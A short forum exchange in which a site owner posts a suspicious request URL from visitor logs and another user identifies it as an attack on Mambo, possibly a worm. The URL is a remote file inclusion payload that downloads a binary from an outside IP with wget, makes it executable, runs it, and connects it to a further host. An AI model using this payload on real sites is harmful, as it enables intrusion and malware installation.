Is it a possible security issue?

[TAPAKAH]

/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[itemid]=1&GLOBALS=&mosConfig_absolute_path=http://200.72.130.29/cmd.gif?&cmd=cd%20/tmp;wget%20200.207.91.25/bash;chmod%20744%20bash;./bash;0209.61.187.106%208080;0

 

any ideas?

 

I got this from tracking one of the visitors. This was a direct hit with this url ext.

[m-xn]

This looks like a call for Mambo. Maybe a worm or something.